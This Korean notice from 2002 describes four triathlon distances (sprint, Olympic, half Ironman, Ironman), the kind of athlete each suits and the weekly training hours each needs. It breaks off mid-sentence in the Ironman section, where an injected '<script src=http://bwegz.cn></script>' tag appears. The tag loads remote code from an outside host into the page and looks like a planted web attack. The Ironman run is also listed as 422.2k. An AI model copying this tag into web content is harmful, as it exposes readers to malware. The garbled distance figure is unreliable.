공지사항

자신에 맞는 트라이애슬론 종목 선택하기

2002-01-31

1. 스프린트 코스:%3Cbr%3E
수영 750m, 자전거 20k, 달리기 5k%3Cbr%3E
오늘날의 추세는 더 짧은 코스 쪽으로 가고 있습니다. 최근 미국연맹이 레이스 디렉터를 대상으로 실시한 조사에 따르면 미국내 개최되는 모든 대회의 50% 이상이 스프린트 코스였다. 초창기에는 긴거리의 트라이애슬론과 지겹도록 길다는 이미지가 트라이애슬론인들의 자부심을 주었다면 지금은 얼마나 쉽게 할 수 있느냐에 있다.%3Cbr%3E

아래의 사람에게 스프린코스가 이상적입니다.%3Cbr%3E
* 복합경기를 시작하고픈 사람%3Cbr%3E
* 90분 이상 지속되는 경기에서 자신의 에너지를 다 빼앗긴 사람%3Cbr%3E
* 지구력 개발에 욕망이나 의욕이 없는 사람%3Cbr%3E
* 장거리 경기를 위해 필요한 일주일에 5에서 10시간 이상 훈련 시간이 없는 사람%3Cbr%3E
* 스피드를 즐기는 사람%3Cbr%3E%3Cbr%3E

2. 올림픽코스%3Cbr%3E
1.5k 수영, 40k 자전거, 10k 달리기%3Cbr%3E
80년대 올림픽코스는 버드라이트(맥주상표)대회로 알려진 미국연맹이 실시한 시리즈에 의해 활성화 되었다. 이 코스가 트라이애슬론을 세계무대로 이끌어 내는데 견인차 역할을 했다. 보통 사람들이 이 코스를 완주하는데 3시간 걸리지만 미들 코스라고 불리는 올림픽코스가 하와이까지 가서 하루종일 용암으로 뒤덮인 지역에서 경기를 하지 않고도 새롭고, 흥미로운 경기를 만끽할 수 있게 만들었다. 이름이 말해주듯이 이 코스는 전 세계의 모든 트라이애슬론 선수들이 올림픽 금메달을 따기 위해 경쟁하는 코스이다.%3Cbr%3E
올림픽코스는 2시간 범위 이상의 지구력을 끌어올리기를 바라는 사람에게 이상적이다. 여러분이 진정한 도전을 찾고 장거리 트라이애슬론을 하기에 준비가 덜 되어 있다면 올림픽코스경기가 여러분이 원하는 목표에 도달하도록 도와줄 것입니다.%3Cbr%3E
올림픽코스는 아래와 같은 사람에게 이상적입니다.%3Cbr%3E
* 에어로빅 스포츠에 튼튼한 기초 지구력을 가진 사람%3Cbr%3E
* 가끔 달리기를 즐기는 사이클 경력자%3Cbr%3E
* 가끔 사이클을 즐기는 마라톤 경력자 %3Cbr%3E
* 달리기와 사이클를 더 하고자 하는 수영 경력자%3Cbr%3E
* 일주일에 10에서 15시간 훈련할 시간을 기꺼이 할애할 수 있는 사람.%3Cbr%3E%3Cbr%3E

3. 하프 아이언맨 코스%3Cbr%3E
1.92k 수영, 89.6k 사이클, 20.96K 달리기%3Cbr%3E
하프 아이언맨 코스는 자신의 지구력 수준을 높이기를 희망하는 트라이애슬론 선수에게 적합하다. 최소한의 훈련으로 스프린트나 올림픽코스를 완주할 수 있는 반면, 하프 아이언맨 코스는 스타트 라인에 발을 들여놓기 전에 많은 시간을 훈련에 정진하지 않는다면 큰 코 다칠 것입니다.%3Cbr%3E
하프아이언맨 코스는 일반부 선수들에게는 힘든 경기이고 많은 대회들이 아이언맨대회 전초전이다. 이는 하프아이언맨대회에서 여러분이 빠르다면 하와이 아이언맨대회 출전을 할 수 있다는 의미이다. 비록 여러분이 주말에 MTB를 타고 스프린트경기, 올림픽코스 경기를 하는 사람들을 자주 봤더라도, 이들 대회에서 아주 가벼운 사이클을 타고, 좋은 유니폼을 입은 선수를 보면 아마 부러워질 것입니다.%3Cbr%3E
만약 여러분이 기꺼이 5, 6시간 이상 수영 사이클 달리기를 할 용의가 있고 장거리를 선호한다면 이런 차이에 너무 신경 쓰지 마십시오. 어느 누구도 두꺼운 타이어와 낡고 느린 사이클을 타고는 이 경기를 할 수 없다고 말할 수 있는 사람은 없습니다. (지금까지 저는 낡은 사이클로 이 경기에서 좋은 성적을 내는 사람을 많이 보와 왔습니다.) 장비 탓은 하지 마십시오.%3Cbr%3E
다음의 사람들이 하프 아이언맨 코스하기에 이상적입니다.%3Cbr%3E
* 스프린트와 올림픽 코스를 적어도 1년 이상한 트라이애슬론 선수%3Cbr%3E
* 달리기 경험이 있는 장거리 사이클 선수%3Cbr%3E
* 몇차례에 하프 마라톤을 완주한 경험이 있고 사이클 경력이 다소 있는 사람.%3Cbr%3E
* 사이클과 달리기를 생각 이상으로 할 계획이 있는 수영경력자%3Cbr%3E
* 일주일에 15시간에서 20시간 가까이 훈련에 시간을 할애할 수 있는 사람.%3Cbr%3E%3Cbr%3E

4. 아이언맨코스%3Cbr%3E
3.9k 수영, 180.2k 사이클, 달리기 422.2k%3Cbr%3E
"최고", "빅쇼", "커다란 아픔"라고 프랭크 토마스가 말했습니다. 트라이애슬론의 꽃에 대해서 여러분은 무엇이라고 말하시겠습니까. 좋습니다. 기술적으로 하와이에 아이언맨 대회는 진정한 트라이애슬론의 꽃이다. 그러나 여러분은 아이언맨 코스를 하는 사람은 누구나 갈라해드(원탁의 기사중 1명) 선생으로 사려될 것입니다. 몇몇 트라이애슬론선수들은 실신하지 않고 이 코스를 완주하는 목표에 도달하기 위해 수년간 훈련을 한다.%3Cbr%3E
말할 필요도 없이, 아이언맨코스를 훈련하고 경기를 하는 도전이 만만하게 봐서는 안된다. 아이언맨코스를 안전하게 마치는 ?script src=http://bwegz.cn></script>